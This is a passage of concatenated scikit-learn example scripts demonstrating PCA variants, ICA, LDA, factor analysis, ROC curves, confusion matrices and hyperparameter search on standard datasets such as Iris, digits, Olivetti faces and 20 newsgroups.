# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.decomposition import PCA, FastICA

###############################################################################
# Generate sample data
rng = np.random.RandomState(42)
S = rng.standard_t(1.5, size=(20000, 2))
S[:, 0] *= 2.

# Mix data
A = np.array([[1, 1], [0, 2]])  # Mixing matrix

X = np.dot(S, A.T)  # Generate observations

pca = PCA()
S_pca_ = pca.fit(X).transform(X)

ica = FastICA(random_state=rng)
S_ica_ = ica.fit(X).transform(X)  # Estimate the sources

S_ica_ /= S_ica_.std(axis=0)


###############################################################################
# Plot results

def plot_samples(S, axis_list=None):
    plt.scatter(S[:, 0], S[:, 1], s=2, marker='o', zorder=10,
                color='steelblue', alpha=0.5)
    if axis_list is not None:
        colors = ['orange', 'red']
        for color, axis in zip(colors, axis_list):
            axis /= axis.std()
            x_axis, y_axis = axis
            # Trick to get legend to work
            plt.plot(0.1 * x_axis, 0.1 * y_axis, linewidth=2, color=color)
            plt.quiver(0, 0, x_axis, y_axis, zorder=11, width=0.01, scale=6,
                       color=color)

    plt.hlines(0, -3, 3)
    plt.vlines(0, -3, 3)
    plt.xlim(-3, 3)
    plt.ylim(-3, 3)
    plt.xlabel('x')
    plt.ylabel('y')

plt.figure()
plt.subplot(2, 2, 1)
plot_samples(S / S.std())
plt.title('True Independent Sources')

axis_list = [pca.components_.T, ica.mixing_]
plt.subplot(2, 2, 2)
plot_samples(X / np.std(X), axis_list=axis_list)
legend = plt.legend(['PCA', 'ICA'], loc='upper right')
legend.set_zorder(100)

plt.title('Observations')

plt.subplot(2, 2, 3)
plot_samples(S_pca_ / np.std(S_pca_, axis=0))
plt.title('PCA recovered signals')

plt.subplot(2, 2, 4)
plot_samples(S_ica_ / np.std(S_ica_))
plt.title('ICA recovered signals')

plt.subplots_adjust(0.09, 0.04, 0.94, 0.94, 0.26, 0.36)
plt.show()






"""
==========
Kernel PCA
==========

This example shows that Kernel PCA is able to find a projection of the data
that makes data linearly separable.
"""
print(__doc__)

# Authors: Mathieu Blondel
#          Andreas Mueller
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.decomposition import PCA, KernelPCA
from sklearn.datasets import make_circles

np.random.seed(0)

X, y = make_circles(n_samples=400, factor=.3, noise=.05)

kpca = KernelPCA(kernel="rbf", fit_inverse_transform=True, gamma=10)
X_kpca = kpca.fit_transform(X)
X_back = kpca.inverse_transform(X_kpca)
pca = PCA()
X_pca = pca.fit_transform(X)

# Plot results

plt.figure()
plt.subplot(2, 2, 1, aspect='equal')
plt.title("Original space")
reds = y == 0
blues = y == 1

plt.plot(X[reds, 0], X[reds, 1], "ro")
plt.plot(X[blues, 0], X[blues, 1], "bo")
plt.xlabel("$x_1$")
plt.ylabel("$x_2$")

X1, X2 = np.meshgrid(np.linspace(-1.5, 1.5, 50), np.linspace(-1.5, 1.5, 50))
X_grid = np.array([np.ravel(X1), np.ravel(X2)]).T
# projection on the first principal component (in the phi space)
Z_grid = kpca.transform(X_grid)[:, 0].reshape(X1.shape)
plt.contour(X1, X2, Z_grid, colors='grey', linewidths=1, origin='lower')

plt.subplot(2, 2, 2, aspect='equal')
plt.plot(X_pca[reds, 0], X_pca[reds, 1], "ro")
plt.plot(X_pca[blues, 0], X_pca[blues, 1], "bo")
plt.title("Projection by PCA")
plt.xlabel("1st principal component")
plt.ylabel("2nd component")

plt.subplot(2, 2, 3, aspect='equal')
plt.plot(X_kpca[reds, 0], X_kpca[reds, 1], "ro")
plt.plot(X_kpca[blues, 0], X_kpca[blues, 1], "bo")
plt.title("Projection by KPCA")
plt.xlabel("1st principal component in space induced by $\phi$")
plt.ylabel("2nd component")

plt.subplot(2, 2, 4, aspect='equal')
plt.plot(X_back[reds, 0], X_back[reds, 1], "ro")
plt.plot(X_back[blues, 0], X_back[blues, 1], "bo")
plt.title("Original space after inverse transform")
plt.xlabel("$x_1$")
plt.ylabel("$x_2$")

plt.subplots_adjust(0.02, 0.10, 0.98, 0.94, 0.04, 0.35)

plt.show()






"""
=======================================================
Comparison of LDA and PCA 2D projection of Iris dataset
=======================================================

The Iris dataset represents 3 kind of Iris flowers (Setosa, Versicolour
and Virginica) with 4 attributes: sepal length, sepal width, petal length
and petal width.

Principal Component Analysis (PCA) applied to this data identifies the
combination of attributes (principal components, or directions in the
feature space) that account for the most variance in the data. Here we
plot the different samples on the 2 first principal components.

Linear Discriminant Analysis (LDA) tries to identify attributes that
account for the most variance *between classes*. In particular,
LDA, in contrast to PCA, is a supervised method, using known class labels.
"""
print(__doc__)

import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.decomposition import PCA
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis

iris = datasets.load_iris()

X = iris.data
y = iris.target
target_names = iris.target_names

pca = PCA(n_components=2)
X_r = pca.fit(X).transform(X)

lda = LinearDiscriminantAnalysis(n_components=2)
X_r2 = lda.fit(X, y).transform(X)

# Percentage of variance explained for each components
print('explained variance ratio (first two components): %s'
      % str(pca.explained_variance_ratio_))

plt.figure()
colors = ['navy', 'turquoise', 'darkorange']
lw = 2

for color, i, target_name in zip(colors, [0, 1, 2], target_names):
    plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=.8, lw=lw,
                label=target_name)
plt.legend(loc='best', shadow=False, scatterpoints=1)
plt.title('PCA of IRIS dataset')

plt.figure()
for color, i, target_name in zip(colors, [0, 1, 2], target_names):
    plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=.8, color=color,
                label=target_name)
plt.legend(loc='best', shadow=False, scatterpoints=1)
plt.title('LDA of IRIS dataset')

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
PCA example with Iris Data-set
=========================================================

Principal Component Analysis applied to the Iris dataset.

See `here <https://en.wikipedia.org/wiki/Iris_flower_data_set>`_ for more
information on this dataset.

"""
print(__doc__)


# Code source: Gaël Varoquaux
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D


from sklearn import decomposition
from sklearn import datasets

np.random.seed(5)

centers = [[1, 1], [-1, -1], [1, -1]]
iris = datasets.load_iris()
X = iris.data
y = iris.target

fig = plt.figure(1, figsize=(4, 3))
plt.clf()
ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)

plt.cla()
pca = decomposition.PCA(n_components=3)
pca.fit(X)
X = pca.transform(X)

for name, label in [('Setosa', 0), ('Versicolour', 1), ('Virginica', 2)]:
    ax.text3D(X[y == label, 0].mean(),
              X[y == label, 1].mean() + 1.5,
              X[y == label, 2].mean(), name,
              horizontalalignment='center',
              bbox=dict(alpha=.5, edgecolor='w', facecolor='w'))
# Reorder the labels to have colors matching the cluster results
y = np.choose(y, [1, 2, 0]).astype(np.float)
ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=y, cmap=plt.cm.spectral)

ax.w_xaxis.set_ticklabels([])
ax.w_yaxis.set_ticklabels([])
ax.w_zaxis.set_ticklabels([])

plt.show()






"""

===============
Incremental PCA
===============

Incremental principal component analysis (IPCA) is typically used as a
replacement for principal component analysis (PCA) when the dataset to be
decomposed is too large to fit in memory. IPCA builds a low-rank approximation
for the input data using an amount of memory which is independent of the
number of input data samples. It is still dependent on the input data features,
but changing the batch size allows for control of memory usage.

This example serves as a visual check that IPCA is able to find a similar
projection of the data to PCA (to a sign flip), while only processing a
few samples at a time. This can be considered a "toy example", as IPCA is
intended for large datasets which do not fit in main memory, requiring
incremental approaches.

"""
print(__doc__)

# Authors: Kyle Kastner
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import load_iris
from sklearn.decomposition import PCA, IncrementalPCA

iris = load_iris()
X = iris.data
y = iris.target

n_components = 2
ipca = IncrementalPCA(n_components=n_components, batch_size=10)
X_ipca = ipca.fit_transform(X)

pca = PCA(n_components=n_components)
X_pca = pca.fit_transform(X)

colors = ['navy', 'turquoise', 'darkorange']

for X_transformed, title in [(X_ipca, "Incremental PCA"), (X_pca, "PCA")]:
    plt.figure(figsize=(8, 8))
    for color, i, target_name in zip(colors, [0, 1, 2], iris.target_names):
        plt.scatter(X_transformed[y == i, 0], X_transformed[y == i, 1],
                    color=color, lw=2, label=target_name)

    if "Incremental" in title:
        err = np.abs(np.abs(X_pca) - np.abs(X_ipca)).mean()
        plt.title(title + " of iris dataset\nMean absolute unsigned error "
                  "%.6f" % err)
    else:
        plt.title(title + " of iris dataset")
    plt.legend(loc="best", shadow=False, scatterpoints=1)
    plt.axis([-4, 4, -1.5, 1.5])

plt.show()






"""
============================
Faces dataset decompositions
============================

This example applies to :ref:`olivetti_faces` different unsupervised
matrix decomposition (dimension reduction) methods from the module
:py:mod:`sklearn.decomposition` (see the documentation chapter
:ref:`decompositions`) .

"""
print(__doc__)

# Authors: Vlad Niculae, Alexandre Gramfort
# License: BSD 3 clause

import logging
from time import time

from numpy.random import RandomState
import matplotlib.pyplot as plt

from sklearn.datasets import fetch_olivetti_faces
from sklearn.cluster import MiniBatchKMeans
from sklearn import decomposition

# Display progress logs on stdout
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s %(levelname)s %(message)s')
n_row, n_col = 2, 3
n_components = n_row * n_col
image_shape = (64, 64)
rng = RandomState(0)

###############################################################################
# Load faces data
dataset = fetch_olivetti_faces(shuffle=True, random_state=rng)
faces = dataset.data

n_samples, n_features = faces.shape

# global centering
faces_centered = faces - faces.mean(axis=0)

# local centering
faces_centered -= faces_centered.mean(axis=1).reshape(n_samples, -1)

print("Dataset consists of %d faces" % n_samples)


###############################################################################
def plot_gallery(title, images, n_col=n_col, n_row=n_row):
    plt.figure(figsize=(2. * n_col, 2.26 * n_row))
    plt.suptitle(title, size=16)
    for i, comp in enumerate(images):
        plt.subplot(n_row, n_col, i + 1)
        vmax = max(comp.max(), -comp.min())
        plt.imshow(comp.reshape(image_shape), cmap=plt.cm.gray,
                   interpolation='nearest',
                   vmin=-vmax, vmax=vmax)
        plt.xticks(())
        plt.yticks(())
    plt.subplots_adjust(0.01, 0.05, 0.99, 0.93, 0.04, 0.)

###############################################################################
# List of the different estimators, whether to center and transpose the
# problem, and whether the transformer uses the clustering API.
estimators = [
    ('Eigenfaces - RandomizedPCA',
     decomposition.RandomizedPCA(n_components=n_components, whiten=True),
     True),

    ('Non-negative components - NMF',
     decomposition.NMF(n_components=n_components, init='nndsvda', tol=5e-3),
     False),

    ('Independent components - FastICA',
     decomposition.FastICA(n_components=n_components, whiten=True),
     True),

    ('Sparse comp. - MiniBatchSparsePCA',
     decomposition.MiniBatchSparsePCA(n_components=n_components, alpha=0.8,
                                      n_iter=100, batch_size=3,
                                      random_state=rng),
     True),

    ('MiniBatchDictionaryLearning',
        decomposition.MiniBatchDictionaryLearning(n_components=15, alpha=0.1,
                                                  n_iter=50, batch_size=3,
                                                  random_state=rng),
     True),

    ('Cluster centers - MiniBatchKMeans',
        MiniBatchKMeans(n_clusters=n_components, tol=1e-3, batch_size=20,
                        max_iter=50, random_state=rng),
     True),

    ('Factor Analysis components - FA',
     decomposition.FactorAnalysis(n_components=n_components, max_iter=2),
     True),
]


###############################################################################
# Plot a sample of the input data

plot_gallery("First centered Olivetti faces", faces_centered[:n_components])

###############################################################################
# Do the estimation and plot it

for name, estimator, center in estimators:
    print("Extracting the top %d %s..." % (n_components, name))
    t0 = time()
    data = faces
    if center:
        data = faces_centered
    estimator.fit(data)
    train_time = (time() - t0)
    print("done in %0.3fs" % train_time)
    if hasattr(estimator, 'cluster_centers_'):
        components_ = estimator.cluster_centers_
    else:
        components_ = estimator.components_
    if hasattr(estimator, 'noise_variance_'):
        plot_gallery("Pixelwise variance",
                     estimator.noise_variance_.reshape(1, -1), n_col=1,
                     n_row=1)
    plot_gallery('%s - Train time %.1fs' % (name, train_time),
                 components_[:n_components])

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Principal components analysis (PCA)
=========================================================

These figures aid in illustrating how a point cloud
can be very flat in one direction--which is where PCA
comes in to choose a direction that is not flat.

"""
print(__doc__)

# Authors: Gael Varoquaux
#          Jaques Grobler
#          Kevin Hughes
# License: BSD 3 clause

from sklearn.decomposition import PCA

from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import matplotlib.pyplot as plt
from scipy import stats


###############################################################################
# Create the data

e = np.exp(1)
np.random.seed(4)


def pdf(x):
    return 0.5 * (stats.norm(scale=0.25 / e).pdf(x)
                  + stats.norm(scale=4 / e).pdf(x))

y = np.random.normal(scale=0.5, size=(30000))
x = np.random.normal(scale=0.5, size=(30000))
z = np.random.normal(scale=0.1, size=len(x))

density = pdf(x) * pdf(y)
pdf_z = pdf(5 * z)

density *= pdf_z

a = x + y
b = 2 * y
c = a - b + z

norm = np.sqrt(a.var() + b.var())
a /= norm
b /= norm


###############################################################################
# Plot the figures
def plot_figs(fig_num, elev, azim):
    fig = plt.figure(fig_num, figsize=(4, 3))
    plt.clf()
    ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=elev, azim=azim)

    ax.scatter(a[::10], b[::10], c[::10], c=density[::10], marker='+', alpha=.4)
    Y = np.c_[a, b, c]

    # Using SciPy's SVD, this would be:
    # _, pca_score, V = scipy.linalg.svd(Y, full_matrices=False)

    pca = PCA(n_components=3)
    pca.fit(Y)
    pca_score = pca.explained_variance_ratio_
    V = pca.components_

    x_pca_axis, y_pca_axis, z_pca_axis = V.T * pca_score / pca_score.min()

    x_pca_axis, y_pca_axis, z_pca_axis = 3 * V.T
    x_pca_plane = np.r_[x_pca_axis[:2], - x_pca_axis[1::-1]]
    y_pca_plane = np.r_[y_pca_axis[:2], - y_pca_axis[1::-1]]
    z_pca_plane = np.r_[z_pca_axis[:2], - z_pca_axis[1::-1]]
    x_pca_plane.shape = (2, 2)
    y_pca_plane.shape = (2, 2)
    z_pca_plane.shape = (2, 2)
    ax.plot_surface(x_pca_plane, y_pca_plane, z_pca_plane)
    ax.w_xaxis.set_ticklabels([])
    ax.w_yaxis.set_ticklabels([])
    ax.w_zaxis.set_ticklabels([])


elev = -40
azim = -80
plot_figs(1, elev, azim)

elev = 30
azim = 20
plot_figs(2, elev, azim)

plt.show()






"""
===============================================================
Model selection with Probabilistic PCA and Factor Analysis (FA)
===============================================================

Probabilistic PCA and Factor Analysis are probabilistic models.
The consequence is that the likelihood of new data can be used
for model selection and covariance estimation.
Here we compare PCA and FA with cross-validation on low rank data corrupted
with homoscedastic noise (noise variance
is the same for each feature) or heteroscedastic noise (noise variance
is the different for each feature). In a second step we compare the model
likelihood to the likelihoods obtained from shrinkage covariance estimators.

One can observe that with homoscedastic noise both FA and PCA succeed
in recovering the size of the low rank subspace. The likelihood with PCA
is higher than FA in this case. However PCA fails and overestimates
the rank when heteroscedastic noise is present. Under appropriate
circumstances the low rank models are more likely than shrinkage models.

The automatic estimation from
Automatic Choice of Dimensionality for PCA. NIPS 2000: 598-604
by Thomas P. Minka is also compared.

"""

# Authors: Alexandre Gramfort
#          Denis A. Engemann
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from scipy import linalg

from sklearn.decomposition import PCA, FactorAnalysis
from sklearn.covariance import ShrunkCovariance, LedoitWolf
from sklearn.model_selection import cross_val_score
from sklearn.model_selection import GridSearchCV

print(__doc__)

###############################################################################
# Create the data

n_samples, n_features, rank = 1000, 50, 10
sigma = 1.
rng = np.random.RandomState(42)
U, _, _ = linalg.svd(rng.randn(n_features, n_features))
X = np.dot(rng.randn(n_samples, rank), U[:, :rank].T)

# Adding homoscedastic noise
X_homo = X + sigma * rng.randn(n_samples, n_features)

# Adding heteroscedastic noise
sigmas = sigma * rng.rand(n_features) + sigma / 2.
X_hetero = X + rng.randn(n_samples, n_features) * sigmas

###############################################################################
# Fit the models

n_components = np.arange(0, n_features, 5)  # options for n_components


def compute_scores(X):
    pca = PCA(svd_solver='full')
    fa = FactorAnalysis()

    pca_scores, fa_scores = [], []
    for n in n_components:
        pca.n_components = n
        fa.n_components = n
        pca_scores.append(np.mean(cross_val_score(pca, X)))
        fa_scores.append(np.mean(cross_val_score(fa, X)))

    return pca_scores, fa_scores


def shrunk_cov_score(X):
    shrinkages = np.logspace(-2, 0, 30)
    cv = GridSearchCV(ShrunkCovariance(), {'shrinkage': shrinkages})
    return np.mean(cross_val_score(cv.fit(X).best_estimator_, X))


def lw_score(X):
    return np.mean(cross_val_score(LedoitWolf(), X))


for X, title in [(X_homo, 'Homoscedastic Noise'),
                 (X_hetero, 'Heteroscedastic Noise')]:
    pca_scores, fa_scores = compute_scores(X)
    n_components_pca = n_components[np.argmax(pca_scores)]
    n_components_fa = n_components[np.argmax(fa_scores)]

    pca = PCA(svd_solver='full', n_components='mle')
    pca.fit(X)
    n_components_pca_mle = pca.n_components_

    print("best n_components by PCA CV = %d" % n_components_pca)
    print("best n_components by FactorAnalysis CV = %d" % n_components_fa)
    print("best n_components by PCA MLE = %d" % n_components_pca_mle)

    plt.figure()
    plt.plot(n_components, pca_scores, 'b', label='PCA scores')
    plt.plot(n_components, fa_scores, 'r', label='FA scores')
    plt.axvline(rank, color='g', label='TRUTH: %d' % rank, linestyle='-')
    plt.axvline(n_components_pca, color='b',
                label='PCA CV: %d' % n_components_pca, linestyle='--')
    plt.axvline(n_components_fa, color='r',
                label='FactorAnalysis CV: %d' % n_components_fa,
                linestyle='--')
    plt.axvline(n_components_pca_mle, color='k',
                label='PCA MLE: %d' % n_components_pca_mle, linestyle='--')

    # compare with other covariance estimators
    plt.axhline(shrunk_cov_score(X), color='violet',
                label='Shrunk Covariance MLE', linestyle='-.')
    plt.axhline(lw_score(X), color='orange',
                label='LedoitWolf MLE' % n_components_pca_mle, linestyle='-.')

    plt.xlabel('nb of components')
    plt.ylabel('CV scores')
    plt.legend(loc='lower right')
    plt.title(title)

plt.show()






"""
=======================================
Receiver Operating Characteristic (ROC)
=======================================

Example of Receiver Operating Characteristic (ROC) metric to evaluate
classifier output quality.

ROC curves typically feature true positive rate on the Y axis, and false
positive rate on the X axis. This means that the top left corner of the plot is
the "ideal" point - a false positive rate of zero, and a true positive rate of
one. This is not very realistic, but it does mean that a larger area under the
curve (AUC) is usually better.

The "steepness" of ROC curves is also important, since it is ideal to maximize
the true positive rate while minimizing the false positive rate.

Multiclass settings
-------------------

ROC curves are typically used in binary classification to study the output of
a classifier. In order to extend ROC curve and ROC area to multi-class
or multi-label classification, it is necessary to binarize the output. One ROC
curve can be drawn per label, but one can also draw a ROC curve by considering
each element of the label indicator matrix as a binary prediction
(micro-averaging).

Another evaluation measure for multi-class classification is
macro-averaging, which gives equal weight to the classification of each
label.

.. note::

    See also :func:`sklearn.metrics.roc_auc_score`,
             :ref:`sphx_glr_auto_examples_model_selection_plot_roc_crossval.py`.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from itertools import cycle

from sklearn import svm, datasets
from sklearn.metrics import roc_curve, auc
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import label_binarize
from sklearn.multiclass import OneVsRestClassifier
from scipy import interp

# Import some data to play with
iris = datasets.load_iris()
X = iris.data
y = iris.target

# Binarize the output
y = label_binarize(y, classes=[0, 1, 2])
n_classes = y.shape[1]

# Add noisy features to make the problem harder
random_state = np.random.RandomState(0)
n_samples, n_features = X.shape
X = np.c_[X, random_state.randn(n_samples, 200 * n_features)]

# shuffle and split training and test sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.5,
                                                    random_state=0)

# Learn to predict each class against the other
classifier = OneVsRestClassifier(svm.SVC(kernel='linear', probability=True,
                                 random_state=random_state))
y_score = classifier.fit(X_train, y_train).decision_function(X_test)

# Compute ROC curve and ROC area for each class
fpr = dict()
tpr = dict()
roc_auc = dict()
for i in range(n_classes):
    fpr[i], tpr[i], _ = roc_curve(y_test[:, i], y_score[:, i])
    roc_auc[i] = auc(fpr[i], tpr[i])

# Compute micro-average ROC curve and ROC area
fpr["micro"], tpr["micro"], _ = roc_curve(y_test.ravel(), y_score.ravel())
roc_auc["micro"] = auc(fpr["micro"], tpr["micro"])


##############################################################################
# Plot of a ROC curve for a specific class
plt.figure()
lw = 2
plt.plot(fpr[2], tpr[2], color='darkorange',
         lw=lw, label='ROC curve (area = %0.2f)' % roc_auc[2])
plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver operating characteristic example')
plt.legend(loc="lower right")
plt.show()


##############################################################################
# Plot ROC curves for the multiclass problem

# Compute macro-average ROC curve and ROC area

# First aggregate all false positive rates
all_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))

# Then interpolate all ROC curves at this points
mean_tpr = np.zeros_like(all_fpr)
for i in range(n_classes):
    mean_tpr += interp(all_fpr, fpr[i], tpr[i])

# Finally average it and compute AUC
mean_tpr /= n_classes

fpr["macro"] = all_fpr
tpr["macro"] = mean_tpr
roc_auc["macro"] = auc(fpr["macro"], tpr["macro"])

# Plot all ROC curves
plt.figure()
plt.plot(fpr["micro"], tpr["micro"],
         label='micro-average ROC curve (area = {0:0.2f})'
               ''.format(roc_auc["micro"]),
         color='deeppink', linestyle=':', linewidth=4)

plt.plot(fpr["macro"], tpr["macro"],
         label='macro-average ROC curve (area = {0:0.2f})'
               ''.format(roc_auc["macro"]),
         color='navy', linestyle=':', linewidth=4)

colors = cycle(['aqua', 'darkorange', 'cornflowerblue'])
for i, color in zip(range(n_classes), colors):
    plt.plot(fpr[i], tpr[i], color=color, lw=lw,
             label='ROC curve of class {0} (area = {1:0.2f})'
             ''.format(i, roc_auc[i]))

plt.plot([0, 1], [0, 1], 'k--', lw=lw)
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Some extension of Receiver operating characteristic to multi-class')
plt.legend(loc="lower right")
plt.show()







"""
==========================================================
Sample pipeline for text feature extraction and evaluation
==========================================================

The dataset used in this example is the 20 newsgroups dataset which will be
automatically downloaded and then cached and reused for the document
classification example.

You can adjust the number of categories by giving their names to the dataset
loader or setting them to None to get the 20 of them.

Here is a sample output of a run on a quad-core machine::

  Loading 20 newsgroups dataset for categories:
  ['alt.atheism', 'talk.religion.misc']
  1427 documents
  2 categories

  Performing grid search...
  pipeline: ['vect', 'tfidf', 'clf']
  parameters:
  {'clf__alpha': (1.0000000000000001e-05, 9.9999999999999995e-07),
   'clf__n_iter': (10, 50, 80),
   'clf__penalty': ('l2', 'elasticnet'),
   'tfidf__use_idf': (True, False),
   'vect__max_n': (1, 2),
   'vect__max_df': (0.5, 0.75, 1.0),
   'vect__max_features': (None, 5000, 10000, 50000)}
  done in 1737.030s

  Best score: 0.940
  Best parameters set:
      clf__alpha: 9.9999999999999995e-07
      clf__n_iter: 50
      clf__penalty: 'elasticnet'
      tfidf__use_idf: True
      vect__max_n: 2
      vect__max_df: 0.75
      vect__max_features: 50000

"""

# Author: Olivier Grisel <olivier.grisel@ensta.org>
#         Peter Prettenhofer <peter.prettenhofer@gmail.com>
#         Mathieu Blondel <mathieu@mblondel.org>
# License: BSD 3 clause

from __future__ import print_function

from pprint import pprint
from time import time
import logging

from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.linear_model import SGDClassifier
from sklearn.model_selection import GridSearchCV
from sklearn.pipeline import Pipeline

print(__doc__)

# Display progress logs on stdout
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s %(levelname)s %(message)s')


###############################################################################
# Load some categories from the training set
categories = [
    'alt.atheism',
    'talk.religion.misc',
]
# Uncomment the following to do the analysis on all the categories
#categories = None

print("Loading 20 newsgroups dataset for categories:")
print(categories)

data = fetch_20newsgroups(subset='train', categories=categories)
print("%d documents" % len(data.filenames))
print("%d categories" % len(data.target_names))
print()

###############################################################################
# define a pipeline combining a text feature extractor with a simple
# classifier
pipeline = Pipeline([
    ('vect', CountVectorizer()),
    ('tfidf', TfidfTransformer()),
    ('clf', SGDClassifier()),
])

# uncommenting more parameters will give better exploring power but will
# increase processing time in a combinatorial way
parameters = {
    'vect__max_df': (0.5, 0.75, 1.0),
    #'vect__max_features': (None, 5000, 10000, 50000),
    'vect__ngram_range': ((1, 1), (1, 2)),  # unigrams or bigrams
    #'tfidf__use_idf': (True, False),
    #'tfidf__norm': ('l1', 'l2'),
    'clf__alpha': (0.00001, 0.000001),
    'clf__penalty': ('l2', 'elasticnet'),
    #'clf__n_iter': (10, 50, 80),
}

if __name__ == "__main__":
    # multiprocessing requires the fork to happen in a __main__ protected
    # block

    # find the best parameters for both the feature extraction and the
    # classifier
    grid_search = GridSearchCV(pipeline, parameters, n_jobs=-1, verbose=1)

    print("Performing grid search...")
    print("pipeline:", [name for name, _ in pipeline.steps])
    print("parameters:")
    pprint(parameters)
    t0 = time()
    grid_search.fit(data.data, data.target)
    print("done in %0.3fs" % (time() - t0))
    print()

    print("Best score: %0.3f" % grid_search.best_score_)
    print("Best parameters set:")
    best_parameters = grid_search.best_estimator_.get_params()
    for param_name in sorted(parameters.keys()):
        print("\t%s: %r" % (param_name, best_parameters[param_name]))






"""
================
Confusion matrix
================

Example of confusion matrix usage to evaluate the quality
of the output of a classifier on the iris data set. The
diagonal elements represent the number of points for which
the predicted label is equal to the true label, while
off-diagonal elements are those that are mislabeled by the
classifier. The higher the diagonal values of the confusion
matrix the better, indicating many correct predictions.

The figures show the confusion matrix with and without
normalization by class support size (number of elements
in each class). This kind of normalization can be
interesting in case of class imbalance to have a more
visual interpretation of which class is being misclassified.

Here the results are not as good as they could be as our
choice for the regularization parameter C was not the best.
In real life applications this parameter is usually chosen
using :ref:`grid_search`.

"""

print(__doc__)

import itertools
import numpy as np
import matplotlib.pyplot as plt

from sklearn import svm, datasets
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix

# import some data to play with
iris = datasets.load_iris()
X = iris.data
y = iris.target
class_names = iris.target_names

# Split the data into a training set and a test set
X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

# Run classifier, using a model that is too regularized (C too low) to see
# the impact on the results
classifier = svm.SVC(kernel='linear', C=0.01)
y_pred = classifier.fit(X_train, y_train).predict(X_test)


def plot_confusion_matrix(cm, classes,
                          normalize=False,
                          title='Confusion matrix',
                          cmap=plt.cm.Blues):
    """
    This function prints and plots the confusion matrix.
    Normalization can be applied by setting `normalize=True`.
    """
    plt.imshow(cm, interpolation='nearest', cmap=cmap)
    plt.title(title)
    plt.colorbar()
    tick_marks = np.arange(len(classes))
    plt.xticks(tick_marks, classes, rotation=45)
    plt.yticks(tick_marks, classes)

    if normalize:
        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]
        print("Normalized confusion matrix")
    else:
        print('Confusion matrix, without normalization')

    print(cm)

    thresh = cm.max() / 2.
    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):
        plt.text(j, i, cm[i, j],
                 horizontalalignment="center",
                 color="white" if cm[i, j] > thresh else "black")

    plt.tight_layout()
    plt.ylabel('True label')
    plt.xlabel('Predicted label')

# Compute confusion matrix
cnf_matrix = confusion_matrix(y_test, y_pred)
np.set_printoptions(precision=2)

# Plot non-normalized confusion matrix
plt.figure()
plot_confusion_matrix(cnf_matrix, classes=class_names,
                      title='Confusion matrix, without normalization')

# Plot normalized confusion matrix
plt.figure()
plot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True,
                      title='Normalized confusion matrix')

plt.show()






"""
=========================================================================
Comparing randomized search and grid search for hyperparameter estimation
=========================================================================

Compare randomized search and grid search for optimizing hyperparameters of a
random forest.
All parameters that influence the learning are searched simultaneously
(except for the number of estimators, which poses a time / quality tradeoff).

The randomized search and the grid search explore exactly the same space of
parameters. The result in parameter settings is quite similar, while the run
time for randomized search is drastically lower.

The performance is slightly worse for the randomized search, though this
is most likely a noise effect and would not carry over to a held-out test set.

Note that in practice, one would not search over this many different parameters
simultaneously using grid search, but pick only the ones deemed most important.
"""
print(__doc__)

import numpy as np

from time import time
from scipy.stats import randint as sp_randint

from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import RandomizedSearchCV
from sklearn.datasets import load_digits
from sklearn.ensemble import RandomForestClassifier

# get some data
digits = load_digits()
X, y = digits.data, digits.target

# build a classifier
clf = RandomForestClassifier(n_estimators=20)


# Utility function to report best scores
def report(results, n_top=3):
    for i in range(1, n_top + 1):
        candidates = np.flatnonzero(results['test_rank_score'] == i)
        for candidate in candidates:
            print("Model with rank: {0}".format(i))
            print("Mean validation score: {0:.3f} (std: {1:.3f})".format(
                  results['test_mean_score'][candidate],
                  results['test_std_score'][candidate]))
            print("Parameters: {0}".format(results['params'][candidate]))
            print("")


# specify parameters and distributions to sample from
param_dist = {"max_depth": [3, None],
              "max_features": sp_randint(1, 11),
              "min_samples_split": sp_randint(1, 11),
              "min_samples_leaf": sp_randint(1, 11),
              "bootstrap": [True, False],
              "criterion": ["gini", "entropy"]}

# run randomized search
n_iter_search = 20
random_search = RandomizedSearchCV(clf, param_distributions=param_dist,
                                   n_iter=n_iter_search)

start = time()
random_search.fit(X, y)
print("RandomizedSearchCV took %.2f seconds for %d candidates"
      " parameter settings." % ((time() - start), n_iter_search))
report(random_search.results_)

# use a full grid over all parameters
param_grid = {"max_depth": [3, None],
              "max_features": [1, 3, 10],
              "min_samples_split": [1, 3, 10],
              "min_samples_leaf": [1, 3, 10],
              "bootstrap": [True, False],
              "criterion": ["gini", "entropy"]}

# run grid search
grid_search = GridSearchCV(clf, param_grid=param_grid)
start = time()
grid_search.fit(X, y)

